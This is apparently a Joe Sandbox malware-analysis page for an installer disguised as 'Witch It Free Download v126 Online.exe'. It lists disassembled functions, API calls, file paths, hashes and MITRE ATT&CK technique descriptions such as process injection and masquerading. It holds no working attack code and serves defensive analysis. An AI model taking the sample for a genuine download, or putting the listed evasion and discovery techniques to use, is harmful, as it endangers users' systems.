Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp
API String ID: 1356686001-2564755717
Opcode ID: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction ID: d7b132d9018d44432a73f3315d2b91b6aa1600c7a927e9fa70905f900517fa5a
Opcode Fuzzy Hash: 271707f578e5353a3fbe2519cc7d62c3cf42ff78cad1b3e4df9531e7eebe3039
Instruction Fuzzy Hash: BA1160B1E00209BFEB10AFA0DE49EAF767CFB54398F10413AF905B61D0D7B85D019669

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF74), ref: 00401D8A

Strings

MS Shell Dlg, xrefs: 00401D70

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID: MS Shell Dlg
API String ID: 3272661963-76309092
Opcode ID: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction ID: d83410998d1654a5337f8c322709d39cf2ce3a8a4f0330bc6585c9693e616625
Opcode Fuzzy Hash: 2c6a9fd6684e48c72e8170f31dde3613139c4976fc228405473ba1f45ca6ba00
Instruction Fuzzy Hash: E1F044F1A45342AEE7016770AE0ABA93B649725306F100576F541BA1E2C5BC10149B7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction ID: 3ec7b1818cbfc33efeafaf7017db19c7c479205e5d6f4ff66fb244667a93d6f3
Opcode Fuzzy Hash: 90165163457562f2d2db0d0e016cf4740f9c141c2854e05e69f214c53397e3bf
Instruction Fuzzy Hash: 93112971A00009FFDF319F90DE49EAF7B7DEB44385B104436F905A10A0DBB59E51AE69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CC5
GetClientRect.USER32(00000000,?), ref: 00401CD2
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction ID: de7316f9b9f1bcc3f0c1dff9ae5dc63c91f1472c52c052d8cf8a0da7f27950be
Opcode Fuzzy Hash: 70cca8153c69b2e132429069c22b9ddf05dbb7ba62a9a7cfa9b79a9bcebcea9b
Instruction Fuzzy Hash: D5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 004046F1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(004204A0,004204A0,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404611,000000DF,0000040F,00000400,00000000), ref: 0040477F
wsprintfA.USER32 ref: 00404787
SetDlgItemTextA.USER32(?,004204A0), ref: 0040479A

Strings

%u.%u%s%s, xrefs: 00404769

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction ID: e1128f73888b2767c9277aed1687fd20c93e739cc52df1aac9c0a45a5a8dde9d
Opcode Fuzzy Hash: 900e3a4788bbcdb5831f4eb4ea085b1ecc54347093cfae2cf180548b061950ae
Instruction Fuzzy Hash: 7311E2736001243BDB10666D9C46EEF3699DBC6335F14423BFA25F61D1E938AC5286A8

Uniqueness

Uniqueness Score: -1.00%

Function 00403978 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,Witch It Free Download v126 Online.exe), ref: 00403A10

Strings

1033, xrefs: 0040397C, 00403986, 004039F7
Witch It Free Download v126 Online.exe, xrefs: 004039FF
C:\Users\user\AppData\Local\Temp\, xrefs: 00403979

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\$Witch It Free Download v126 Online.exe
API String ID: 530164218-1726984085
Opcode ID: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction ID: 09623374405f0611f065d620c03919b516a5f167df25bc0d5edc66fe9dc562c0
Opcode Fuzzy Hash: defed7287a9455a29b24b67e45bb8aa9d1031aed7a359321573c6b72916d69ed
Instruction Fuzzy Hash: F611C2B1B005109BC730DF15D880A73767DEB84716369413BE94167391C77EAE028E58

Uniqueness

Uniqueness Score: -1.00%

Function 00405659 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 0040565F
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403226,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405668
lstrcatA.KERNEL32(?,00409010), ref: 00405679

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405659

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: d5422d5486d5b384c4dcc02911800b35c31fcf4388d9dde419d5dff5703c7688
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 8BD05272605A202ED2022A258C05E9B7A28CF06311B044866B540B2292C6386D818AEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction ID: 178fa6cf4330108057832d0c189c0e5a27020503733a18e797ef1cc5e9d7aef6
Opcode Fuzzy Hash: be50ba22476c795dccddfbd46c0b19e6aec7ed87346bdfd2eed6167faf837e67
Instruction Fuzzy Hash: 52113A71A00108BEDB01EFA5DD819AEBBB9EB48344B20853AF501F61E1D7389A54DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00404E54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404E8A
CallWindowProcA.USER32(?,00000200,?,?), ref: 00404EF8

Part of subcall function 00403F64: SendMessageA.USER32(000204D6,00000000,00000000,00000000), ref: 00403F76

Strings

, xrefs: 00404E62

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction ID: 62f3a1a08e098275047049d4f9968a6b4933f6b7f921e7009373277d82a30415
Opcode Fuzzy Hash: 1a28ca64547386e1a64dd11c64f6ae458e1df03769ff3acb3952d776ac0a4b66
Instruction Fuzzy Hash: D1116D71900208BBDB21AF52DC4499B3669FB84369F00803BF6047A2E2C37C5A519BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsn1FF3.tmp\inetc.dll
API String ID: 427699356-1046206842
Opcode ID: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction ID: 2c1f07a632d72534084a5ac00d75746702f795d1104bf50e8da4b719a2e94720
Opcode Fuzzy Hash: 02a15bd42c28bed1fb8554f3d16374f042fc662dbffd218bbabce7ee12e12458
Instruction Fuzzy Hash: BCF08972A44245FFD710EBB19E49EAF7668DB00348F14443BB142F51C2D6FC5982976D

Uniqueness

Uniqueness Score: -1.00%

Function 0040361A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",00000000,76232EE0,004035F1,00000000,0040342D,00000000), ref: 00403634
GlobalFree.KERNEL32(00000000), ref: 0040363B

Strings

"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe", xrefs: 0040362C

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe"
API String ID: 1100898210-2102116686
Opcode ID: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction ID: 07f203a12dc211ea1540440f4769086933c1ddaa55d0411da1bb29b7fd771b51
Opcode Fuzzy Hash: 594683390acbace1feb38ee5af495b240e475f157c4d409b541952378f73dbd9
Instruction Fuzzy Hash: 8FE08C32804420ABC6216F55EC0579A7768AB48B22F028536E900BB3A083743C464BDC

Uniqueness

Uniqueness Score: -1.00%

Function 004056A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,80000000,00000003), ref: 004056A6
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,00402CDE,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,80000000,00000003), ref: 004056B4

Strings

C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp, xrefs: 004056A0

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp
API String ID: 2709904686-829050395
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 6658d1b0ab05e5211e75f0b74aef41c49d7b43cb9628f8e009f88ad9fa15a52a
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: C5D0A772409DB02EF30352108C04B8F7A98CF17300F0948A2E440E21D0C27C5C818FFD

Uniqueness

Uniqueness Score: -1.00%

Function 004057B2 Relevance: 5.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004057D2
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 004057E0
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Memory Dump Source

Source File: 00000003.00000002.3325850779.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3325822854.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325870582.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3325896131.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3326031168.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 042c172281cf084eebf1820456e7eb749b121a10276c912c68532230cfd8689c
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: BBF0A736249D51DBC2029B295C44E6FBEA4EF95355F14057EF440F3180D335AC11ABBB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

